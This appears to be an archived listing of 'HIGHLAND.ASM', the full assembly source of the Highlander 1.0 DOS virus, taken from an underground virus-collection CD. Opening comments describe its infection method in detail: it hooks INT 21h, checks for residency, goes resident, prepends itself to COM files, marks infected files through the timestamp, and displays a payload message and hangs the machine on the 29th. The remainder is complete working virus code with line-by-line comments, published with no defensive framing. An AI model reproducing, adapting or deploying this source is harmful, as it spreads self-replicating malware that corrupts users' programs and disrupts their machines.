home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / h / highland.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  21.6 KB  |  423 lines

  1. ;HIGHLAND.COM
  2.  
  3.  
  4.  
  5. ;This is the HIGHLANDER Virus version 1.0.  
  6.  
  7.  
  8.  
  9. ;This virus is a generic, parasitic, resident COM infector.  It will not
  10.  
  11. ;infect command.com however.  It is not destructive but can be irritating.
  12.  
  13. ;Interrupt 21 is hooked.
  14.  
  15.  
  16.  
  17. ;This virus is to be assembled under TASM 2.0 with the /m2 switch.
  18.  
  19.  
  20.  
  21. ;When an infected file is executed, the virus code is executed first.
  22.  
  23. ;The virus first checks to see if the virus is already resident.  It does
  24.  
  25. ;this by setting the AH register to 0DEh.  This subfunction is currently
  26.  
  27. ;unsupported by DOS.  Interrupt 21 is then called.  If after the call, AH is 
  28.  
  29. ;unchanged, the virus is not resident.  If AH no longer contains 0DEh, the
  30.  
  31. ;virus is assumed to be resident (If the virus is resident, AH will actually
  32.  
  33. ;be changed to 0EDh.  This is never checked for, only a change from 0DEh
  34.  
  35. ;is checked for).  If the virus is already resident, the executing viral
  36.  
  37. ;code will restore the host in memory to original condition and allow it
  38.  
  39. ;to execute normally.  If however, the virus is not resident, Interrupt 21
  40.  
  41. ;will then be trapped by the virus.  Once this is accomplished, the virus
  42.  
  43. ;will free all available memory that it does not need (COM programs are
  44.  
  45. ;allocated all available memory when they are executed even though they can
  46.  
  47. ;only occupy one segment).  The viral code will then copy the original 
  48.  
  49. ;environment and determine the path and filename of the host program in 
  50.  
  51. ;memory.  The viral code will then shell out and re-execute the host 
  52.  
  53. ;program.  The virus is nearly resident now.  When the virus shells out
  54.  
  55. ;and re-executes the host, a non-supported value is passed in the AL
  56.  
  57. ;register.  This is interpreted by the virus to mean that the infection
  58.  
  59. ;is in transition and that when the host is re-executed, to assume that the
  60.  
  61. ;virus is already resident.  This value is then changed to the proper value
  62.  
  63. ;so that the shell process will execute normally (INT 21 is already trapped
  64.  
  65. ;at this point).  This shell process is invisible, since the viral code
  66.  
  67. ;so successfully copies the original environment.  Once the host has 
  68.  
  69. ;finished executing, control is then returned back to the original host
  70.  
  71. ;(the viral code).  The virus then completes execution by going resident
  72.  
  73. ;using interrupt 027h.  In all appearances, the host program has just 
  74.  
  75. ;completed normal execution and has terminated.  In actuality, the virus
  76.  
  77. ;is now fully resident.
  78.  
  79.  
  80.  
  81. ;When the virus is resident, interrupt 021h is trapped and monitored.
  82.  
  83. ;When a program is executed, the resident virus gets control (DOS executes
  84.  
  85. ;programs by shelling from DOS using interrupt 021h, subfunction 04bh).
  86.  
  87. ;When the virus sees that a program is being executed, a series of checks
  88.  
  89. ;are performed.  The first thing checked for is whether or not the program
  90.  
  91. ;to be executed has 'D' as the seventh letter in the filename.  If it does
  92.  
  93. ;the program is not infected and is allowed to execute normally (this is
  94.  
  95. ;how the virus keeps from infecting COMMAND.COM.  No COM file with a 'D'
  96.  
  97. ;as the seventh letter will be infected).  If there is no 'D' as the seventh
  98.  
  99. ;letter, the virus then checks to see if the program to be executed is a
  100.  
  101. ;COM file or not.  If it is not a COM file, it is not infected and allowed
  102.  
  103. ;to execute normally.  If the COM file test is passed, the file size is then
  104.  
  105. ;checked.  Files are only infected if they are larger than 1024 bytes and
  106.  
  107. ;smaller than 62000 bytes.  If the file size is within bounds, the file
  108.  
  109. ;is checked to see if it is already infected.  Files are only infected
  110.  
  111. ;a single time.  The virus determines infection by checking the date/time
  112.  
  113. ;stamp of the file.  If the seconds portion of the stamp is equal to 40,
  114.  
  115. ;the file is assumed to be infected.  If the file is infected, the virus
  116.  
  117. ;then checks the date.  If it is the 29th day of any month, the virus will
  118.  
  119. ;then display its irritating qualities by displaying the message 
  120.  
  121. ;'Highlander 1 RULES!' 21 times and then locking the machine and forcing
  122.  
  123. ;a reboot.  If the file is not infected, infection will proceed.  The 
  124.  
  125. ;virus stores the original attributes and then changes the attributes to
  126.  
  127. ;normal, read/write.  The file length is also stored.  The file is then
  128.  
  129. ;opened and the first part of the file is read and stored in memory (the
  130.  
  131. ;exact number of bytes is the same length as the virus).  The virus then
  132.  
  133. ;proceeds to overwrite the first part of the file with its own code.  The 
  134.  
  135. ;file pointer is then adjusted to the end of the file and a short 
  136.  
  137. ;restoration routine is copied.  The original first part of the file is 
  138.  
  139. ;then copied to the end of the file after the restore routine.  The files
  140.  
  141. ;time/date stamp is then adjusted to show an infection (the seconds portion
  142.  
  143. ;of the time is set to 40.  This will normally never be noticed since 
  144.  
  145. ;directory listings never show the seconds portion).  The file is then
  146.  
  147. ;closed and the original attributes are restored.  Control is then passed
  148.  
  149. ;to the original INT 021h routine and the now infected program is allowed
  150.  
  151. ;to execute normally.
  152.  
  153.  
  154.  
  155. ;This virus will infect read-only files.
  156.  
  157. ;COMMAND.COM will not be infected.
  158.  
  159. ;It is not destructive but can be highly irritating.
  160.  
  161.  
  162.  
  163.  
  164.  
  165.  
  166.  
  167. .model tiny
  168.  
  169. .code
  170.  
  171.      IDEAL
  172.  
  173.  
  174.  
  175.  
  176.  
  177. begin:
  178.  
  179.      jmp checkinfect              ;jump over data to virus code
  180.  
  181.  
  182.  
  183.  
  184.  
  185. data1:
  186.  
  187.      dw offset endcode+0100h      ;address of restore routine
  188.  
  189. typekill:
  190.  
  191.      db 01ah                      ;kills the DOS 'type' command
  192.  
  193. version:
  194.  
  195.      db 'v05'                     ;virus version number
  196.  
  197. data2:
  198.  
  199.      dw 0,080h,0,05ch,0,06ch,0    ;environment string for shell process
  200.  
  201. data3:
  202.  
  203.      db 'COM'                     ;COM file check
  204.  
  205. data4:
  206.  
  207.      db 0,0,1,0                   ;data preceeding filename in environment
  208.  
  209. data5:
  210.  
  211.      db 'Highlander 1 RULES! $'   ;irritating message 
  212.  
  213.  
  214.  
  215.  
  216.  
  217. restcode:                         ;restoration routine to restore host 
  218.  
  219.      rep movsb                    ;move host code back to original loc
  220.  
  221.      push cs                      ;setup to transfer control to 0100h
  222.  
  223.      mov ax,0100h
  224.  
  225.      push ax
  226.  
  227.      mov ax,cx                    ;zero ax
  228.  
  229.      ret                          ;transfer control to 0100h and allow host
  230.  
  231.                                   ;to execute normally 
  232.  
  233.  
  234.  
  235.  
  236.  
  237. checkinfect:                      ;check to see if virus already resident
  238.  
  239.      mov ax,0de00h                ;unsupported subfunction
  240.  
  241.      int 21h                      
  242.  
  243.      cmp ah,0deh                  ;is it unchanged?
  244.  
  245.      je continfect                ;yes, continue going resident
  246.  
  247.                                   ;no, already resident, restore host
  248.  
  249.  
  250.  
  251.  
  252.  
  253. restorehost:                      ;setup for restore routine
  254.  
  255.      mov di,0100h                 ;destination of bytes to be moved
  256.  
  257.      mov si,[word data1+0100h]    ;address of restore routine 
  258.  
  259.                                   ;(original host)
  260.  
  261.      push cs                      ;setup for xfer to restore routine
  262.  
  263.      push si
  264.  
  265.      add si,checkinfect-restcode  ;source of bytes to be moved
  266.  
  267.      mov cx,endcode-begin         ;number of bytes to move
  268.  
  269.      ret                          ;xfer to restore routine
  270.  
  271.  
  272.  
  273.  
  274.  
  275. continfect:                       ;continue infection
  276.  
  277.      mov ax,3521h                 ;set ax to get INT 21 vector address
  278.  
  279.      int 21h                      ;get INT 21 vector
  280.  
  281.      mov [WORD int21trap+1+0100h],bx
  282.  
  283.                                   ;store address in viral code
  284.  
  285.      mov [WORD int21trap+3+0100h],es
  286.  
  287.                                   ;store segment in viral code 
  288.  
  289.      mov dx,offset start+0100h    ;set dx to start of viral code
  290.  
  291.      mov ax,2521h                 ;set ax to change INT 21 vector
  292.  
  293.      int 21h                      ;change INT 21 to point to virus
  294.  
  295.      mov [word data2+0100h+4],ds  ;copy current segment to env string
  296.  
  297.      mov [word data2+0100h+8],ds  ;for shell process
  298.  
  299.      mov [word data2+0100h+12],ds
  300.  
  301.      push ds                      ;restore es to current segment
  302.  
  303.      pop es
  304.  
  305.      mov bx,offset endcode+0100h  ;set bx to end of viral code
  306.  
  307.      mov cl,04                    ;divide by 16 
  308.  
  309.      shr bx,cl
  310.  
  311.      inc bx                       ;INC by 1 just in case.  bx is number of
  312.  
  313.                                   ;paragraphs of memory to reserve
  314.  
  315.      mov ah,04ah                  ;set ah to release memory
  316.  
  317.      int 21h                      ;release all excess memory 
  318.  
  319.      mov ds,[word 02ch]           ;get segment of environment copy
  320.  
  321.      xor si,si                    ;zero si
  322.  
  323.      cld                          ;clear direction flag
  324.  
  325.  
  326.  
  327.  
  328.  
  329. tryagain:
  330.  
  331.      mov di,offset data4+0100h    ;point to data preceeding filename
  332.  
  333.      mov cx,4                     ;data is 4 bytes long
  334.  
  335.      repe cmpsb                   ;check for match
  336.  
  337.      jne tryagain                 ;if no match, try again
  338.  
  339.      mov dx,si                    ;filename found.  set dx to point
  340.  
  341.      mov bx,offset data2+0100h    ;set bx to point to environment string
  342.  
  343.      mov ax,04bffh                ;set ax to shell and execute.  AL contains
  344.  
  345.                                   ;an invalid value which will be interpreted
  346.  
  347.                                   ;by the virus (int 21 is now trapped by it)
  348.  
  349.                                   ;and changed to 00.
  350.  
  351.      cld                          ;clear direction flag
  352.  
  353.      int 21h                      ;shell and re-execute the host program
  354.  
  355.      mov dx,(endcode-begin)*2+0110h
  356.  
  357.                                   ;set dx to end of virus *2 plus 10.  This
  358.  
  359.                                   ;will point to the end of the resident
  360.  
  361.                                   ;portion of the virus
  362.  
  363.      int 27h                      ;terminate and stay resident
  364.  
  365.  
  366.  
  367.  
  368.  
  369. start:                            ;start of virus.  The trapped INT 21 points
  370.  
  371.                                   ;to this location.
  372.  
  373.      pushf                        ;store the flags
  374.  
  375.      cmp ah,0deh                  ;is calling program checking for infection?
  376.  
  377.      jne check4run                ;no, continue on checking for execution
  378.  
  379.      mov ah,0edh                  ;yes, change ah to 0edh
  380.  
  381.      jmp cont                     ;jump over rest of viral code
  382.  
  383.  
  384.  
  385.  
  386.  
  387. check4run:
  388.  
  389.      cmp ah,04bh                  ;check for program attempting to execute
  390.  
  391.      je nextcheck                 ;yes, continue checks
  392.  
  393.      jmp cont                     ;no, jump over rest of virus
  394.  
  395.  
  396.  
  397.  
  398.  
  399. nextcheck:
  400.  
  401.      cmp al,0ffh                  ;check if virus is shelling.  0ffh will
  402.  
  403.                                   ;normally never be used and is used by
  404.  
  405.                                   ;the virus to shell the host before it is
  406.  
  407.                                   ;fully resident.  This prevents the virus
  408.  
  409.                                   ;from shelling twice, which will work but
  410.  
  411.                                   ;lose the environment and cause problems.
  412.  
  413.      jne workvirus                ;normal DOS shell. Jump to virus meat.
  414.  
  415.      xor al,al                    ;virus is shelling.  zero al.
  416.  
  417.      jmp cont                     ;jump over rest of virus
  418.  
  419.  
  420.  
  421.  
  422.  
  423. workvirus:
  424.  
  425.      push ax                      ;store all registers subject to change
  426.  
  427.      push bx
  428.  
  429.      push cx
  430.  
  431.      push es
  432.  
  433.      push si
  434.  
  435.      push di
  436.  
  437.      push dx
  438.  
  439.      push ds
  440.  
  441.      push cs                      ;store the code segment so it can be used
  442.  
  443.      push cs                      ;to set the ds and es registers
  444.  
  445.      pop ds                       ;set ds to same as cs
  446.  
  447.      pop es                       ;set es to same as cs
  448.  
  449.      mov dx,080h                  ;set dx to offset 080h
  450.  
  451.      mov ah,01ah                  ;set ah to create DTA
  452.  
  453.      int 21h                      ;create DTA at 080h (normal DTA area)
  454.  
  455.      pop ds                       ;set ds to original ds
  456.  
  457.      pop dx                       ;set dx to original dx (ds:dx is used to 
  458.  
  459.                                   ;point to the path and filename of the
  460.  
  461.                                   ;program to be executed)
  462.  
  463.      push dx                      ;store these values back
  464.  
  465.      push ds
  466.  
  467.      xor cx,cx                    ;zero cx
  468.  
  469.      mov ah,04eh                  ;set ah to search for filename match
  470.  
  471.      int 21h                      ;search for filename (this is primarily
  472.  
  473.                                   ;done to setup data in the DTA so that it
  474.  
  475.                                   ;can be checked easier than making a
  476.  
  477.                                   ;number of individual calls)
  478.  
  479.      push es                      ;store es (same as cs)
  480.  
  481.      pop ds                       ;set ds to same as es and cs
  482.  
  483.      cmp [byte 087h],'D'          ;check for 'D' as seventh letter in file
  484.  
  485.      jne j5
  486.  
  487.      jmp endvirus                 ;if 'D' is 7th letter, dont infect
  488.  
  489. j5: 
  490.  
  491.      mov si,offset data3+0100h    ;set source of bytes to compare
  492.  
  493.      mov di,089h                  ;set destination of bytes to compare
  494.  
  495.      mov cx,3                     ;number of bytes to compare
  496.  
  497.      cld                          ;compare forward
  498.  
  499.      repe cmpsb                   ;compare bytes (check to see if file's
  500.  
  501.                                   ;extension is COM)
  502.  
  503.      je j1
  504.  
  505.      jmp endvirus                 ;not a COM file.  Dont infect
  506.  
  507. j1:
  508.  
  509.      mov bx,[word 009ah]          ;set bx to length of file
  510.  
  511.      cmp bx,1024                  ;is length > 1024?
  512.  
  513.      jae j2                       ;yes, continue with checks
  514.  
  515.      jmp endvirus                 ;no, dont infect
  516.  
  517. j2:
  518.  
  519.      cmp bx,62000                 ;is length < 62000?
  520.  
  521.      jbe j3                       ;yes, continue with checks
  522.  
  523.      jmp endvirus                 ;no, dont infect
  524.  
  525. j3:
  526.  
  527.      mov ax,[word 096h]           ;set ax to file's time stamp
  528.  
  529.      and ax,0000000000011111b     ;clear everything but seconds
  530.  
  531.      cmp ax,0000000000010100b     ;is seconds = 40?
  532.  
  533.      jne j4                       ;yes, continue with infection
  534.  
  535.      mov ah,02ah                  ;no, set ah to get the date
  536.  
  537.      int 21h                      ;get current system date
  538.  
  539.      mov cx,21                    ;set cx to 21
  540.  
  541.      cmp dl,29                    ;is the date the 29th?
  542.  
  543.      je irritate                  ;yes, continue with irritate
  544.  
  545.      jmp endvirus                 ;no, let program execute normally
  546.  
  547.  
  548.  
  549.  
  550.  
  551. irritate:
  552.  
  553.      mov dx,offset data5+0100h    ;point dx to irritating message
  554.  
  555.      mov ah,09h                   ;set ah to write to screen
  556.  
  557.      int 21h                      ;write message 21 times
  558.  
  559.      loop irritate
  560.  
  561.      iret                         ;xfer program control to whatever's on
  562.  
  563.                                   ;the stack (this almost guarantee's a
  564.  
  565.                                   ;lockup and a reboot)
  566.  
  567.  
  568.  
  569.  
  570.  
  571. j4: 
  572.  
  573.      mov ax,[word 096h]           ;set ax equal to the file's time stamp
  574.  
  575.      and ax,1111111111100000b     ;zero the seconds portion
  576.  
  577.      or ax,0000000000010100b      ;set the seconds = 40
  578.  
  579.      add bx,0100h                 ;set bx = loc for restore routine (end
  580.  
  581.                                   ;of file once its in memory)      
  582.  
  583.      mov [word data1+0100h],bx    ;store this value in the virus
  584.  
  585.      mov bx,ax                    ;set bx = to adjusted time stamp
  586.  
  587.      pop ds                       ;get the original ds
  588.  
  589.      push ds                      ;store this value back
  590.  
  591.      mov ax,04300h                ;set ax to get the file's attributes
  592.  
  593.                                   ;ds:dx already points to path/filename
  594.  
  595.      int 21h                      ;get the files attributes
  596.  
  597.      push cx                      ;push the attributes
  598.  
  599.      push bx                      ;push the adjusted time stamp
  600.  
  601.      xor cx,cx                    ;zero cx(attributes for normal, read/write)
  602.  
  603.      mov ax,04301h                ;set ax to set file attributes
  604.  
  605.      int 21h                      ;set files attributes to normal/read/write
  606.  
  607.      mov ax,03d02h                ;set ax to open file
  608.  
  609.      int 21h                      ;open file for read/write access
  610.  
  611.      mov bx,ax                    ;mov file handle to bx
  612.  
  613.      push cs                      ;push current code segment
  614.  
  615.      pop ds                       ;and pop into ds (ds=cs)
  616.  
  617.      mov cx,endcode-begin         ;set cx equal to length of virus
  618.  
  619.      mov dx,offset endcode+0100h  ;point dx to end of virus in memory
  620.  
  621.      mov ah,03fh                  ;set ah to read from file
  622.  
  623.      int 21h                      ;read bytes from beginning of file and
  624.  
  625.                                   ;store at end of virus.  Read as many bytes
  626.  
  627.                                   ;as virus is long.
  628.  
  629.      xor cx,cx                    ;zero cx
  630.  
  631.      xor dx,dx                    ;zero dx
  632.  
  633.      mov ax,04200h                ;set ax to move file pointer from begin
  634.  
  635.      int 21h                      ;mov file pointer to start of file
  636.  
  637.      mov cx,endcode-begin         ;set cx = length of virus
  638.  
  639.      mov dx,0100h                 ;point dx to start of virus
  640.  
  641.      mov ah,040h                  ;set ah to write to file
  642.  
  643.      int 21h                      ;write virus to start of file
  644.  
  645.      xor cx,cx                    ;zero cx
  646.  
  647.      xor dx,dx                    ;zero dx
  648.  
  649.      mov ax,04202h                ;set ax to move file pointer from end
  650.  
  651.      int 21h                      ;mov file pointer to end of file
  652.  
  653.      mov cx,checkinfect-restcode  ;set cx to length of restore routine
  654.  
  655.      mov dx,offset restcode+0100h ;point dx to start of restore routine
  656.  
  657.      mov ah,040h                  ;set ah to write to file
  658.  
  659.      int 21h                      ;write restore routine to end of file
  660.  
  661.      mov cx,endcode-begin         ;set cx to length of virus (length of code
  662.  
  663.                                   ;read from beginning of file)
  664.  
  665.      mov dx,offset endcode+0100h  ;point dx to data read from file
  666.  
  667.      mov ah,040h                  ;set ah to write to file
  668.  
  669.      int 21h                      ;write data read from start of file to end
  670.  
  671.                                   ;of file following restore routine
  672.  
  673.      pop cx                       ;pop the adjusted time stamp
  674.  
  675.      mov dx,[word 098h]           ;mov the file date stamp into dx
  676.  
  677.      mov ax,05701h                ;set ax to write time/date stamp
  678.  
  679.      int 21h                      ;write time/date stamp to file
  680.  
  681.      mov ah,03eh                  ;set ah to close file
  682.  
  683.      int 21h                      ;close the file
  684.  
  685.      pop cx                       ;pop the original attributes
  686.  
  687.      pop ds                       ;pop the original ds
  688.  
  689.      pop dx                       ;pop the original dx
  690.  
  691.      push dx                      ;push these values back
  692.  
  693.      push ds
  694.  
  695.      mov ax,04301h                ;set ax to set file attributes (ds:dx now
  696.  
  697.                                   ;points to original path/filename)
  698.  
  699.      int 21h                      ;set the original attributes back to file
  700.  
  701.  
  702.  
  703.  
  704.  
  705. endvirus:                         ;virus execution complete. restore original
  706.  
  707.                                   ;values for INT 21 function
  708.  
  709.      pop ds
  710.  
  711.      pop dx
  712.  
  713.      pop di
  714.  
  715.      pop si
  716.  
  717.      pop es
  718.  
  719.      pop cx
  720.  
  721.      pop bx
  722.  
  723.      pop ax
  724.  
  725.  
  726.  
  727.  
  728.  
  729. cont:                             ;virus complete.  restore original flags
  730.  
  731.      popf
  732.  
  733.      pushf
  734.  
  735.  
  736.  
  737.  
  738.  
  739. int21trap:                        ;this calls the original INT 21 routine
  740.  
  741.      db 09ah                      ;opcode for a far call
  742.  
  743.      nop                          ;blank area.  the original INT 21 vector
  744.  
  745.      nop                          ;is copied to this area
  746.  
  747.      nop
  748.  
  749.      nop
  750.  
  751.      push ax                      ;after the original INT 21 routine has
  752.  
  753.                                   ;completed execution, control is returned
  754.  
  755.                                   ;to this point 
  756.  
  757.      push bx
  758.  
  759.      pushf                        ;push the flags returned from the INT 21
  760.  
  761.                                   ;routine.  We have to get them in the
  762.  
  763.                                   ;proper location in the stack when we 
  764.  
  765.                                   ;return to the calling program
  766.  
  767.      pop ax                       ;pop the flags
  768.  
  769.      mov bx,sp                    ;set bx equal to the stack pointer
  770.  
  771.      mov [word ss:bx+8],ax        ;copy the flags to the proper location in
  772.  
  773.                                   ;the stack
  774.  
  775.      pop bx                       ;restore bx
  776.  
  777.      pop ax                       ;restore ax
  778.  
  779.      iret                         ;return to calling program
  780.  
  781.  
  782.  
  783.  
  784.  
  785. signature:
  786.  
  787.      db 'dex'
  788.  
  789.  
  790.  
  791.  
  792.  
  793. endcode:                          ;this file has been written as if it were
  794.  
  795.                                   ;a natural infection.  At this point the
  796.  
  797.                                   ;virus is ended and we are at the restore
  798.  
  799.                                   ;routine.  Following this is the host code
  800.  
  801.                                   ;which will be moved back to 0100h.  This
  802.  
  803.                                   ;file could never actually be a natural 
  804.  
  805.                                   ;infection however due to its small size
  806.  
  807.      rep movsb                    ;start of restore routine.  move host back
  808.  
  809.      push cs                      ;set up to xfer to cs:0100h
  810.  
  811.      mov ax,0100h
  812.  
  813.      push ax
  814.  
  815.      mov ax,cx                    ;zero ax
  816.  
  817.      ret                          ;host is restored.  xfer to start of host
  818.  
  819. hoststart:                        ;This is the host program.  It consists
  820.  
  821.                                   ;merely of a simple message being displayed
  822.  
  823.      jmp skipdata                 ;jump over message
  824.  
  825. hostmessage:
  826.  
  827.      db 'The virus is now resident.$'
  828.  
  829. skipdata:                
  830.  
  831.      mov ah,09h                   ;set ah to write to screen
  832.  
  833.      mov dx,offset hostmessage+0100h
  834.  
  835.                                   ;point dx to message to display
  836.  
  837.      int 21h                      ;display message
  838.  
  839.      mov ah,04ch                  ;set ah to terminate program
  840.  
  841.      int 21h                      ;terminate program, return to DOS
  842.  
  843.      END
  844.  
  845.